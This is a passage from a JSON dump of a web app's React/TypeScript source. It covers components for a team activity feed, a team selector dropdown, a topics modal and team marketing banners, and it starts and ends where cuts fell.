(!isOpen) {\n                  return;\n                }\n\n                setIsOpen(false);\n              }}\n            >\n              {heading.text}\n            </a>\n\n            {heading.children.length > 0 && (\n              <ol className=\"my-0 mt-1 ml-4 space-y-0 max-lg:mt-0 max-lg:ml-0 max-lg:list-none\">\n                {heading.children.map((children) => {\n                  return (\n                    <li key={children.slug}>\n                      <a\n                        href={`#${children.slug}`}\n                        className=\"text-sm text-gray-500 no-underline hover:text-black max-lg:block max-lg:border-b max-lg:px-3 max-lg:py-1 max-lg:pl-8\"\n                        onClick={() => {\n                          if (!isOpen) {\n                            return;\n                          }\n\n                          setIsOpen(false);\n                        }}\n                      >\n                        {children.text}\n                      </a>\n                    </li>\n                  );\n                })}\n              </ol>\n            )}\n          </li>\n        ))}\n      </ol>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamActivity/TeamActivityItem.tsx",
    "content": "import { useState } from 'react';\nimport { getRelativeTimeString } from '../../lib/date';\nimport type { TeamStreamActivity } from './TeamActivityPage';\nimport { ChevronsDown, ChevronsUp } from 'lucide-react';\nimport { ActivityTopicTitles } from '../Activity/ActivityTopicTitles';\nimport { cn } from '../../lib/classname';\nimport { useStore } from '@nanostores/react';\nimport { $currentTeam } from '../../stores/team';\n\ntype TeamActivityItemProps = {\n  onTopicClick?: (activity: TeamStreamActivity) => void;\n  teamId: string;\n  user: {\n    activities: TeamStreamActivity[];\n    _id: string;\n    name: string;\n    avatar?: string | undefined;\n    username?: string | undefined;\n    memberId?: string;\n  };\n};\n\nexport function TeamActivityItem(props: TeamActivityItemProps) {\n  const { user, onTopicClick, teamId } = props;\n  const { activities } = user;\n\n  const currentTeam = useStore($currentTeam);\n  const [showAll, setShowAll] = useState(false);\n\n  const resourceLink = (activity: TeamStreamActivity) => {\n    const {\n      resourceId,\n      resourceTitle,\n      resourceType,\n      isCustomResource,\n      resourceSlug,\n    } = activity;\n\n    const resourceUrl =\n      resourceType === 'question'\n        ? `/questions/${resourceId}`\n        : resourceType === 'best-practice'\n          ? `/best-practices/${resourceId}`\n          : isCustomResource && resourceType === 'roadmap'\n            ? `/r/${resourceSlug}`\n            : `/${resourceId}`;\n\n    return (\n      <a\n        className=\"font-medium underline transition-colors hover:cursor-pointer hover:text-black\"\n        target=\"_blank\"\n        href={`${resourceUrl}?t=${teamId}`}\n      >\n        {resourceTitle}\n      </a>\n    );\n  };\n\n  const timeAgo = (date: string | Date) => (\n    <span className=\"ml-1 text-xs text-gray-400\">\n      {getRelativeTimeString(new Date(date).toISOString(), true)}\n    </span>\n  );\n  const userAvatar = user.avatar\n    ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${user.avatar}`\n    : '/img/default-avatar.png';\n\n  const isPersonalProgressOnly =\n    currentTeam?.personalProgressOnly &&\n    currentTeam.role === 'member' &&\n    user.memberId !== currentTeam.memberId;\n  const username = (\n    <a\n      href={`/team/member?t=${teamId}&m=${user?.memberId}`}\n      className={cn(\n        'inline-flex items-center gap-1.5 underline underline-offset-2 hover:underline',\n        isPersonalProgressOnly\n          ? 'pointer-events-none cursor-default no-underline'\n          : '',\n      )}\n      onClick={(e) => {\n        if (isPersonalProgressOnly) {\n          e.preventDefault();\n        }\n      }}\n      aria-disabled={isPersonalProgressOnly}\n    >\n      <img\n        className=\"inline-block h-5 w-5 rounded-full\"\n        src={userAvatar}\n        alt={user.name}\n      />\n      <span className=\"font-medium\">{user?.name || 'Unknown'}</span>\n    </a>\n  );\n\n  if (activities.length === 1) {\n    const activity = activities[0];\n    const { actionType, topicTitles } = activity;\n    const topicCount = topicTitles?.length || 0;\n\n    return (\n      <li\n        key={user._id}\n        className=\"flex flex-wrap items-center gap-1 rounded-md border px-2 py-2.5 text-sm bg-white\"\n      >\n        {actionType === 'in_progress' && (\n          <>\n            <p className=\"mb-1 flex w-full flex-wrap items-center\">\n              {username}&nbsp;started&nbsp;\n              {topicCount}&nbsp;topic{topicCount > 1 ? 's' : ''}&nbsp;in&nbsp;\n              {resourceLink(activity)}&nbsp;\n              {timeAgo(activity.updatedAt)}\n            </p>\n            <ActivityTopicTitles\n              className=\"pl-5\"\n              topicTitles={topicTitles || []}\n            />\n          </>\n        )}\n        {actionType === 'done' && (\n          <>\n            <p className=\"mb-1 flex w-full flex-wrap items-center\">\n              {username}&nbsp;completed&nbsp;\n              {topicCount}&nbsp;topic{topicCount > 1 ? 's' : ''}&nbsp;in&nbsp;\n              {resourceLink(activity)}&nbsp;\n              {timeAgo(activity.updatedAt)}\n            </p>\n            <ActivityTopicTitles\n              className=\"pl-5\"\n              topicTitles={topicTitles || []}\n            />\n          </>\n        )}\n        {actionType === 'answered' && (\n          <>\n            <p className=\"mb-1 flex w-full flex-wrap items-center\">\n              {username}&nbsp;answered&nbsp;\n              {topicCount}&nbsp;question{topicCount > 1 ? 's' : ''}\n              &nbsp;in&nbsp;\n              {resourceLink(activity)}&nbsp;\n              {timeAgo(activity.updatedAt)}\n            </p>\n            <ActivityTopicTitles\n              className=\"pl-5\"\n              topicTitles={topicTitles || []}\n            />\n          </>\n        )}\n      </li>\n    );\n  }\n\n  const uniqueResourcesCount = new Set(\n    activities.map((activity) => activity.resourceId),\n  ).size;\n\n  const activityLimit = showAll ? activities.length : 5;\n\n  return (\n    <li key={user._id} className=\"overflow-hidden bg-white rounded-md border\">\n      <h3 className=\"flex flex-wrap items-center gap-1 bg-gray-100 px-2 py-2.5 text-sm\">\n        {username} has {activities.length} updates in {uniqueResourcesCount}\n        &nbsp;resource(s)\n      </h3>\n      <div className=\"py-3\">\n        <ul className=\"ml-2 flex flex-col divide-y pr-2 sm:ml-[36px]\">\n          {activities.slice(0, activityLimit).map((activity, counter) => {\n            const { actionType, topicTitles } = activity;\n            const topicCount = topicTitles?.length || 0;\n\n            return (\n              <li\n                key={activity._id}\n                className={cn(\n                  'text-sm text-gray-600',\n                  counter === 0 ? 'pb-2.5' : 'py-2.5',\n                  counter === activities.length - 1 ? 'pb-0' : '',\n                )}\n              >\n                {actionType === 'in_progress' && (\n                  <>\n                    <p className=\"mb-1\">\n                      Started&nbsp;{topicCount}&nbsp;topic\n                      {topicCount > 1 ? 's' : ''}&nbsp;in&nbsp;\n                      {resourceLink(activity)}&nbsp;\n                      {timeAgo(activity.updatedAt)}\n                    </p>\n                    <ActivityTopicTitles topicTitles={topicTitles || []} />\n                  </>\n                )}\n                {actionType === 'done' && (\n                  <>\n                    <p className=\"mb-1\">\n                      Completed&nbsp;{topicCount}&nbsp;topic\n                      {topicCount > 1 ? 's' : ''}&nbsp;in&nbsp;\n                      {resourceLink(activity)}&nbsp;\n                      {timeAgo(activity.updatedAt)}\n                    </p>\n                    <ActivityTopicTitles topicTitles={topicTitles || []} />\n                  </>\n                )}\n                {actionType === 'answered' && (\n                  <>\n                    <p className=\"mb-1\">\n                      Answered&nbsp;{topicCount}&nbsp;question\n                      {topicCount > 1 ? 's' : ''}&nbsp;in&nbsp;\n                      {resourceLink(activity)}&nbsp;\n                      {timeAgo(activity.updatedAt)}\n                    </p>\n                    <ActivityTopicTitles topicTitles={topicTitles || []} />\n                  </>\n                )}\n              </li>\n            );\n          })}\n        </ul>\n\n        {activities.length > 5 && (\n          <button\n            className=\"ml-2 mt-3 flex items-center gap-2 rounded-md border border-gray-300 p-1 text-xs uppercase tracking-wide text-gray-600 transition-colors hover:border-black hover:bg-black hover:text-white sm:ml-[36px]\"\n            onClick={() => setShowAll(!showAll)}\n          >\n            {showAll ? (\n              <>\n                <ChevronsUp size={14} />\n                Show less\n              </>\n            ) : (\n              <>\n                <ChevronsDown size={14} />\n                Show more\n              </>\n            )}\n          </button>\n        )}\n      </div>\n    </li>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamActivity/TeamActivityPage.tsx",
    "content": "import { useEffect, useState, useMemo } from 'react';\nimport { useToast } from '../../hooks/use-toast';\nimport { getUrlParams } from '../../lib/browser';\nimport { httpGet } from '../../lib/http';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport type { AllowedActivityActionType } from '../Activity/ActivityStream';\nimport { pageProgressMessage } from '../../stores/page';\nimport { TeamActivityItem } from './TeamActivityItem';\nimport { TeamActivityTopicsModal } from './TeamActivityTopicsModal';\nimport { TeamEmptyStream } from './TeamEmptyStream';\nimport { Pagination } from '../Pagination/Pagination';\nimport {\n  ChartNoAxesGantt,\n  CircleDashed,\n  Flag,\n  LoaderCircle,\n} from 'lucide-react';\n\nexport type TeamStreamActivity = {\n  _id?: string;\n  resourceType: ResourceType | 'question';\n  resourceId: string;\n  resourceTitle: string;\n  resourceSlug?: string;\n  isCustomResource?: boolean;\n  actionType: AllowedActivityActionType;\n  topicTitles?: string[];\n  createdAt: Date;\n  updatedAt: Date;\n};\n\nexport interface TeamActivityStreamDocument {\n  _id?: string;\n  teamId: string;\n  userId: string;\n  activity: TeamStreamActivity[];\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype GetTeamActivityResponse = {\n  data: {\n    users: {\n      _id: string;\n      name: string;\n      avatar?: string;\n      username?: string;\n      memberId?: string;\n    }[];\n    activities: TeamActivityStreamDocument[];\n  };\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\ntype TeamActivityPageProps = {\n  teamId?: string;\n  canManageCurrentTeam?: boolean;\n};\n\nexport function TeamActivityPage(props: TeamActivityPageProps) {\n  const { teamId: defaultTeamId, canManageCurrentTeam = false } = props;\n  const { t: teamId = defaultTeamId } = getUrlParams();\n\n  const toast = useToast();\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [selectedActivity, setSelectedActivity] =\n    useState<TeamStreamActivity | null>(null);\n  const [teamActivities, setTeamActivities] = useState<GetTeamActivityResponse>(\n    {\n      data: {\n        users: [],\n        activities: [],\n      },\n      totalCount: 0,\n      totalPages: 0,\n      currPage: 1,\n      perPage: 21,\n    },\n  );\n  const [currPage, setCurrPage] = useState(1);\n\n  const getTeamProgress = async (currPage: number = 1) => {\n    const { response, error } = await httpGet<GetTeamActivityResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-team-activity/${teamId}`,\n      {\n        currPage,\n      },\n    );\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to get team activity');\n      return;\n    }\n\n    setTeamActivities(response);\n    setCurrPage(response.currPage);\n  };\n\n  useEffect(() => {\n    if (!teamId) {\n      return;\n    }\n\n    setIsLoading(true);\n    setTeamActivities({\n      data: {\n        users: [],\n        activities: [],\n      },\n      totalCount: 0,\n      totalPages: 0,\n      currPage: 1,\n      perPage: 21,\n    });\n    setCurrPage(1);\n    getTeamProgress().then(() => {\n      pageProgressMessage.set('');\n      setIsLoading(false);\n    });\n  }, [teamId]);\n\n  const { users, activities } = teamActivities?.data;\n  const validActivities = useMemo(() => {\n    return activities?.filter((activity) => {\n      return (\n        activity.activity.length > 0 &&\n        activity.activity.some((t) => (t?.topicTitles?.length || 0) > 0)\n      );\n    });\n  }, [activities]);\n\n  const sortedUniqueCreatedAt = useMemo(() => {\n    return new Set(\n      validActivities\n        ?.map((activity) => new Date(activity.createdAt).setHours(0, 0, 0, 0))\n        .sort((a, b) => {\n          return new Date(b).getTime() - new Date(a).getTime();\n        }),\n    );\n  }, [validActivities]);\n\n  const usersWithActivities = useMemo(() => {\n    const enrichedUsers: {\n      _id: string;\n      name: string;\n      avatar?: string;\n      username?: string;\n      activities: TeamStreamActivity[];\n    }[] = [];\n\n    for (const uniqueCreatedAt of sortedUniqueCreatedAt) {\n      const uniqueActivities = validActivities.filter(\n        (activity) =>\n          new Date(activity.createdAt).setHours(0, 0, 0, 0) === uniqueCreatedAt,\n      );\n\n      const usersWithUniqueActivities = users\n        .map((user) => {\n          const userActivities = uniqueActivities\n            .filter((activity) => activity.userId === user._id)\n            .flatMap((activity) => activity.activity)\n            .filter((activity) => (activity?.topicTitles?.length || 0) > 0)\n            .sort((a, b) => {\n              return (\n                new Date(b.updatedAt).getTime() -\n                new Date(a.updatedAt).getTime()\n              );\n            });\n\n          return {\n            ...user,\n            activities: userActivities,\n          };\n        })\n        .filter((user) => user.activities.length > 0)\n        .sort((a, b) => {\n          return (\n            new Date(b.activities[0].updatedAt).getTime() -\n            new Date(a.activities[0].updatedAt).getTime()\n          );\n        });\n\n      enrichedUsers.push(...usersWithUniqueActivities);\n    }\n\n    return enrichedUsers;\n  }, [users, activities]);\n\n  const sectionHeading = (\n    <h3 className=\"mb-3 flex h-[20px] w-full items-center justify-between text-xs uppercase text-gray-400\">\n      Team Activity\n      <span className=\"mx-3 h-[1px] grow bg-gray-200\" />\n      {canManageCurrentTeam && (\n        <a\n          href={`/team/progress?t=${teamId}`}\n          className=\"flex flex-row items-center rounded-full bg-gray-400 px-2.5 py-0.5 text-xs text-white transition-colors hover:bg-black\"\n        >\n          <ChartNoAxesGantt className=\"mr-1.5 size-3\" strokeWidth={2.5} />\n          Progresses\n        </a>\n      )}\n    </h3>\n  );\n\n  if (isLoading) {\n    return (\n      <>\n        {sectionHeading}\n        <div className=\"flex flex-col gap-2\">\n          {Array.from({ length: 4 }).map((_, index) => (\n            <div\n              key={index}\n              className=\"h-[70px] w-full animate-pulse rounded-lg border bg-gray-100\"\n            />\n          ))}\n        </div>\n      </>\n    );\n  }\n\n  if (!teamId) {\n    if (typeof window !== 'undefined') {\n      window.location.href = '/';\n    } else {\n      return null;\n    }\n  }\n\n  return (\n    <>\n      {selectedActivity && (\n        <TeamActivityTopicsModal\n          activity={selectedActivity}\n          onClose={() => setSelectedActivity(null)}\n        />\n      )}\n\n      {usersWithActivities.length > 0 ? (\n        <>\n          {sectionHeading}\n          <ul className=\"mb-4 mt-2 flex flex-col gap-3\">\n            {usersWithActivities.map((user, index) => {\n              return (\n                <TeamActivityItem\n                  key={`${user._id}-${index}`}\n                  user={user}\n                  teamId={teamId}\n                  onTopicClick={setSelectedActivity}\n                />\n              );\n            })}\n          </ul>\n\n          <Pagination\n            currPage={currPage}\n            totalPages={teamActivities.totalPages}\n            totalCount={teamActivities.totalCount}\n            perPage={teamActivities.perPage}\n            onPageChange={(page) => {\n              setCurrPage(page);\n              pageProgressMessage.set('Loading...');\n              getTeamProgress(page).finally(() => {\n                pageProgressMessage.set('');\n              });\n            }}\n          />\n        </>\n      ) : (\n        <>\n          {sectionHeading}\n          <div className=\"rounded-lg border bg-white p-4\">\n            <TeamEmptyStream teamId={teamId} />\n          </div>\n        </>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamActivity/TeamActivityTopicsModal.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { httpPost } from '../../lib/http';\nimport { Modal } from '../Modal.tsx';\nimport { ModalLoader } from '../UserProgress/ModalLoader.tsx';\nimport { ArrowUpRight, BookOpen, Check } from 'lucide-react';\nimport type { TeamStreamActivity } from './TeamActivityPage.tsx';\n\ntype TeamActivityTopicsModalProps = {\n  activity: TeamStreamActivity;\n  onClose: () => void;\n};\n\nexport function TeamActivityTopicsModal(props: TeamActivityTopicsModalProps) {\n  const { activity, onClose } = props;\n  const {\n    resourceId,\n    resourceType,\n    isCustomResource,\n    topicTitles = [],\n    actionType,\n  } = activity;\n\n  let pageUrl = '';\n  if (resourceType === 'roadmap') {\n    pageUrl = isCustomResource ? `/r/${resourceId}` : `/${resourceId}`;\n  } else if (resourceType === 'best-practice') {\n    pageUrl = `/best-practices/${resourceId}`;\n  } else {\n    pageUrl = `/questions/${resourceId}`;\n  }\n\n  return (\n    <Modal\n      onClose={() => {\n        onClose();\n      }}\n    >\n      <div className={`popup-body relative rounded-lg bg-white p-4 shadow-sm`}>\n        <span className=\"mb-2 flex items-center justify-between text-lg font-semibold capitalize\">\n          <span className=\"flex items-center gap-2\">\n            {actionType.replace('_', ' ')}\n          </span>\n          <a\n            href={pageUrl}\n            target=\"_blank\"\n            className=\"flex items-center gap-1 rounded-md border border-transparent py-0.5 pl-2 pr-1 text-sm font-normal text-gray-400 transition-colors hover:border-black hover:bg-black hover:text-white\"\n          >\n            Visit Page{' '}\n            <ArrowUpRight\n              size={16}\n              strokeWidth={2}\n              className=\"relative top-px\"\n            />\n          </a>\n        </span>\n        <ul className=\"flex max-h-[50vh] flex-col gap-1 overflow-y-auto max-md:max-h-full\">\n          {topicTitles.map((topicTitle) => {\n            const ActivityIcon =\n              actionType === 'done'\n                ? Check\n                : actionType === 'in_progress'\n                  ? BookOpen\n                  : Check;\n\n            return (\n              <li key={topicTitle} className=\"flex items-start gap-2\">\n                <ActivityIcon\n                  strokeWidth={3}\n                  className=\"relative top-[4px] text-green-500\"\n                  size={16}\n                />\n                {topicTitle}\n              </li>\n            );\n          })}\n        </ul>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamActivity/TeamEmptyStream.tsx",
    "content": "import { ListTodo } from 'lucide-react';\n\ntype TeamActivityItemProps = {\n  teamId: string;\n};\n\nexport function TeamEmptyStream(props: TeamActivityItemProps) {\n  const { teamId } = props;\n\n  return (\n    <div className=\"rounded-md\">\n      <div className=\"flex flex-col items-center p-7 text-center sm:p-14\">\n        <ListTodo className=\"mb-4 h-14 w-14 opacity-10\" />\n\n        <h2 className=\"text-lg font-semibold sm:text-lg\">No Activity</h2>\n        <p className=\"my-1 max-w-[400px] text-balance text-sm text-gray-500 sm:my-2 sm:text-base\">\n          Team activity will appear here once members start tracking their\n          progress.\n        </p>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamAnnouncement.tsx",
    "content": "type TeamAnnouncementProps = {};\n\nexport function TeamAnnouncement(props: TeamAnnouncementProps) {\n  return (\n    <a\n      className=\"rounded-md border border-dashed border-purple-700 px-3 py-1.5 text-purple-400 transition-colors hover:border-gray-700 hover:text-white\"\n      href=\"/teams\"\n    >\n      <span className=\"relative -top-[0.5px] mr-1 text-xs font-semibold uppercase text-white\">\n        New\n      </span>{' '}\n      <span className={'hidden sm:inline'}>Announcing roadmaps for teams. <span className='font-semibold'>Learn more!</span></span>\n      <span className={'inline text-sm sm:hidden'}>Roadmaps for teams!</span>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamDropdown/TeamDropdown.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { httpGet } from '../../lib/http';\nimport { useAuth } from '../../hooks/use-auth';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport type { AllowedRoles } from '../CreateTeam/RoleDropdown';\nimport { $currentTeam, $teamList } from '../../stores/team';\nimport { useStore } from '@nanostores/react';\nimport { useTeamId } from '../../hooks/use-team-id';\nimport { useToast } from '../../hooks/use-toast';\nimport type { ValidTeamType } from '../CreateTeam/Step0';\nimport { DropdownIcon } from '../ReactIcons/DropdownIcon.tsx';\n\nconst allowedStatus = ['invited', 'joined', 'rejected'] as const;\nexport type AllowedMemberStatus = (typeof allowedStatus)[number];\n\nexport type UserTeamItem = {\n  _id: string;\n  name: string;\n  avatar?: string;\n  roadmaps: string[];\n  type: ValidTeamType;\n  role: AllowedRoles;\n  status: AllowedMemberStatus;\n  memberId: string;\n  personalProgressOnly?: boolean;\n};\n\nexport type TeamListResponse = UserTeamItem[];\n\nexport function TeamDropdown() {\n  const user = useAuth();\n  const { teamId } = useTeamId();\n\n  const teamList = useStore($teamList);\n  const currentTeam = useStore($currentTeam);\n\n  const toast = useToast();\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [showDropdown, setShowDropdown] = useState(false);\n\n  const selectedAvatar = currentTeam ? currentTeam.avatar : user?.avatar;\n  const selectedLabel = currentTeam ? currentTeam.name : user?.name;\n\n  useOutsideClick(dropdownRef, () => {\n    setShowDropdown(false);\n  });\n\n  async function getAllTeams() {\n    const { response, error } = await httpGet<TeamListResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-user-teams`,\n    );\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    $teamList.set(response);\n  }\n\n  useEffect(() => {\n    if (!teamId || !teamList) {\n      return;\n    }\n\n    $currentTeam.set(teamList.find((team) => team._id === teamId));\n  }, [teamList, teamId]);\n\n  useEffect(() => {\n    setIsLoading(true);\n    getAllTeams().finally(() => {\n      setIsLoading(false);\n    });\n  }, []);\n\n  const pendingTeamIds = teamList\n    .filter((team) => team.status === 'invited')\n    .map((team) => team._id);\n\n  return (\n    <>\n      <div className=\"relative mr-2\">\n        <span className=\"mb-2 flex items-center justify-between text-xs uppercase text-gray-400\">\n          <span>Choose Team</span>\n        </span>\n        <button\n          className=\"relative flex w-full cursor-pointer items-center justify-between rounded-sm border p-2 text-sm hover:bg-gray-100\"\n          onClick={() => setShowDropdown(!showDropdown)}\n        >\n          {pendingTeamIds.length > 0 && (\n            <span className=\"absolute -left-1.5 -top-1.5 flex h-4 w-4 items-center justify-center rounded-full bg-red-500 text-xs font-medium text-white\">\n              {pendingTeamIds.length}\n            </span>\n          )}\n          <div className=\"mr-1.5 inline-grid grid-cols-[16px_auto] items-center gap-1.5\">\n            {isLoading && <Spinner className=\"h-4 w-4\" isDualRing={false} />}\n            {!isLoading && (\n              <img\n                src={\n                  selectedAvatar\n                    ? `${\n                        import.meta.env.PUBLIC_AVATAR_BASE_URL\n                      }/${selectedAvatar}`\n                    : '/img/default-avatar.png'\n                }\n                alt=\"\"\n                className=\"h-4 w-4 rounded-full object-cover\"\n              />\n            )}\n            <span className=\"truncate\">\n              {!isLoading && selectedLabel}\n              {isLoading && 'Loading ..'}\n            </span>\n          </div>\n          <DropdownIcon className={'h-4 w-4'} />\n        </button>\n\n        {showDropdown && (\n          <div\n            ref={dropdownRef}\n            className=\"absolute top-full z-50 mt-2 w-full rounded-md bg-slate-800 px-2 py-2 text-white shadow-md\"\n          >\n            <ul>\n              <li>\n                <a\n                  className=\"flex w-full cursor-pointer items-center gap-2 truncate rounded-sm p-2 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n                  href=\"/account\"\n                >\n                  <span className=\"truncate\">Personal Account</span>\n                </a>\n              </li>\n              {teamList.map((team) => {\n                let pageLink = '';\n                if (team.status === 'invited') {\n                  pageLink = `/respond-invite?i=${team.memberId}`;\n                } else if (team.status === 'joined') {\n                  pageLink = `/team/activity?t=${team._id}`;\n                }\n\n                return (\n                  <li key={team?._id}>\n                    <a\n                      className=\"flex w-full cursor-pointer items-center gap-2 rounded-sm p-2 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n                      href={`${pageLink}`}\n                    >\n                      <span className=\"min-w-0 grow truncate\">\n                        {team.name}\n                      </span>\n                      {pendingTeamIds.includes(team._id) && (\n                        <span className=\"flex rounded-md bg-red-500 px-2 text-xs text-white\">\n                          Invite\n                        </span>\n                      )}\n                    </a>\n                  </li>\n                );\n              })}\n            </ul>\n            <a\n              className=\"mt-2 flex w-full cursor-pointer items-center justify-center gap-2 rounded-sm bg-gray-100 p-2 text-sm font-medium text-slate-800 hover:opacity-90\"\n              href=\"/team/new\"\n            >\n              <span>+</span>\n              <span>New Team</span>\n            </a>\n          </div>\n        )}\n      </div>\n      <hr className=\"my-4\" />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamMarketing/TeamDemo.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { cn } from '../../lib/classname.ts';\nimport { isLoggedIn } from '../../lib/jwt.ts';\nimport { fireTeamCreationClick } from './TeamHeroBanner.tsx';\n\nconst demoItems = [\n  {\n    title: 'Roadmap Editor',\n    description:\n      '<span class=\"font-semibold\">Powerful editor</span> to create custom roadmaps and other trackable documents',\n    image: '/img/team-promo/roadmap-editor.png',\n  },\n  {\n    title: 'Invite Members',\n    description:\n      'Invite your <span class=\"font-semibold\">team members and assign roles</span>',\n    image: '/img/team-promo/invite-members.png',\n  },\n  {\n    title: 'Track Progress',\n    description:\n      'You and your team can <span class=\"font-semibold\">track progress</span> on the roadmaps',\n    image: '/img/team-promo/update-progress.png',\n  },\n  {\n    title: 'Team Dashboard',\n    description:\n      'Keep an eye on the team progress through <span class=\"font-semibold\">team dashboards</span>',\n    image: '/img/team-promo/team-dashboard.png',\n  },\n  {\n    title: 'Roadmaps and Documents',\n    description:\n      'Create as many <span class=\"font-semibold\">roadmaps or trackable documents</span> as you want',\n    image: '/img/team-promo/many-roadmaps.png',\n  },\n  {\n    title: 'Community Roadmaps',\n    description:\n      'Create custom roadmaps or customize <span class=\"font-semibold\">community roadmaps</span> to fit your needs',\n    image: '/img/team-promo/our-roadmaps.png',\n  },\n  {\n    title: 'Sharing Settings',\n    description:\n      'Share a roadmap or trackable document with <span class=\"font-semibold\">everyone or specific people</span>',\n    image: '/img/team-promo/sharing-settings.png',\n  },\n  {\n    title: 'More Coming Soon!',\n    description:\n      '<span class=\"font-semibold\">We have a lot more coming soon!</span>',\n  },\n];\n\nexport function TeamDemo() {\n  const [hasViewed, setHasViewed] = useState<number[]>([0]);\n  const [activeItem, setActiveItem] = useState(demoItems[0]);\n\n  const [isAuthenticated, setIsAuthenticated] = useState<boolean>();\n\n  useEffect(() => {\n    setIsAuthenticated(isLoggedIn());\n  }, []);\n\n  return (\n    <div className=\"hidden border-t py-12 sm:block\">\n      <div className=\"container\">\n        <h2 className=\"mb-2 text-3xl font-bold\">See how it works</h2>\n        <p>Here is a sneak peek of what you can do today (more coming soon!)</p>\n\n        <div className=\"relative mt-7 flex flex-row items-center gap-2.5\">\n          {demoItems.map((item, counter) => {\n            const isActive = item === activeItem;\n            const hasAlreadyViewed = hasViewed.includes(counter);\n\n            if (!isActive) {\n              return (\n                <span key={item.title} className=\"relative flex items-center\">\n                  <span\n                    onClick={() => {\n                      setHasViewed([...hasViewed, counter]);\n                      setActiveItem(item);\n                    }}\n                    className={cn('z-50 cursor-pointer rounded-full p-[6px]', {\n                      'bg-black': item === activeItem,\n                      'bg-gray-300 hover:bg-gray-400': item !== activeItem,\n                    })}\n                  />\n                  {!hasAlreadyViewed && (\n                    <span className=\"pointer-events-none absolute inline-flex h-full w-full animate-ping rounded-full bg-gray-400 opacity-75\"></span>\n                  )}\n                </span>\n              );\n            }\n\n            return (\n              <span\n                key={item.title}\n                className=\" rounded-full bg-black px-3 py-0.5 text-sm text-white\"\n              >\n                {activeItem.title}\n              </span>\n            );\n          })}\n        </div>\n        <div className=\"mt-4 overflow-hidden rounded-xl border border-gray-300\">\n          <div className=\"p-3\">\n            <p\n              className=\"text-base text-black\"\n              dangerouslySetInnerHTML={{ __html: activeItem.description }}\n            />\n          </div>\n          {activeItem.image && (\n            <img\n              className=\"rounded-b-xl border-t\"\n              src={activeItem.image}\n              alt=\"\"\n            />\n          )}\n          {!activeItem.image && (\n            <div className=\"bg-gray-50 py-4 pl-3\">\n              <p className=\"mb-3\">\n                Register your team now and help us shape the future of teams in\n                roadmap.sh!\n              </p>\n              <div className=\"flex flex-row items-center gap-2\">\n                <a\n                  onClick={() => {\n                    fireTeamCreationClick();\n                    if (isAuthenticated) {\n                      return;\n                    }\n\n                    localStorage.setItem('authRedirect', '/team/new');\n                  }}\n                  href={isAuthenticated ? '/team/new' : '/signup'}\n                  className=\"inline-flex items-center justify-center rounded-lg border border-transparent bg-purple-600 px-5 py-2 text-base font-medium text-white hover:bg-purple-700\"\n                >\n                  Create your Team\n                </a>\n                {!isAuthenticated && (\n                  <span className=\"ml-1 text-base\">\n                    or &nbsp;\n                    <a\n                      onClick={() => {\n                        fireTeamCreationClick();\n                        localStorage.setItem('authRedirect', '/team/new');\n                      }}\n                      href=\"/login\"\n                      className=\"text-purple-600 underline  hover:text-purple-700\"\n                    >\n                      Login to your account\n                    </a>\n                  </span>\n                )}\n              </div>\n            </div>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamMarketing/TeamHeroBanner.tsx",
    "content": "import { CheckCircle } from 'lucide-react';\nimport { isLoggedIn } from '../../lib/jwt.ts';\nimport { useEffect, useState } from 'react';\n\nconst featureList = [\n  'Create custom roadmaps for your team',\n  \"Plan, track and document your team's skills and growth\",\n  'Invite your team members',\n  \"Get insights on your team's skills and growth\",\n];\n\nexport function fireTeamCreationClick() {\n  window.fireEvent({\n    category: 'FeatureClick',\n    action: `Pages / Teams`,\n    label: 'Create your Team',\n  });\n}\n\nexport function TeamHeroBanner() {\n  const [isAuthenticated, setIsAuthenticated] = useState<boolean>();\n\n  useEffect(() => {\n    setIsAuthenticated(isLoggedIn());\n  }, []);\n\n  return (\n    <div className=\"bg-white py-8 lg:py-12\">\n      <div className=\"container\">\n        <div className=\"flex flex-row items-center justify-start text-left lg:justify-between\">\n          <div className=\"flex grow flex-col\">\n            <h1 className=\"mb-0.5 text-2xl font-bold sm:mb-2.5 sm:text-4xl lg:mb-4 lg:text-5xl\">\n              Roadmaps for Teams\n            </h1>\n            <p className=\"mb-4 text-base leading-normal text-gray-600 sm:mb-0 sm:leading-none lg:text-lg\">\n              Train, plan and track your team's skills and career growth.\n            </p>\n\n            <ul className=\"mb-4 mt-0 hidden text-sm leading-7 sm:mb-4 sm:mt-4 sm:flex sm:flex-col lg:mb-6 lg:mt-6 lg:text-base lg:leading-8\">\n              {featureList.map((feature, index) => (\n                <li key={feature}>\n                  <CheckCircle className=\"hidden h-6 w-6 text-green-500 sm:inline-block\" />\n                  <span className=\"ml-0 sm:ml-2\">{feature}</span>\n                </li>\n              ))}\n            </ul>\n\n            <div className=\"flex flex-col items-start gap-2 sm:flex-row sm:items-center\">\n              <a\n                onClick={() => {\n                  fireTeamCreationClick();\n                }}\n                href={isAuthenticated ? '/team/new' : '/signup'}\n                className=\"flex w-full items-center justify-center rounded-lg border border-transparent bg-purple-600 px-5 py-2 text-sm font-medium text-white hover:bg-blue-700 sm:w-auto 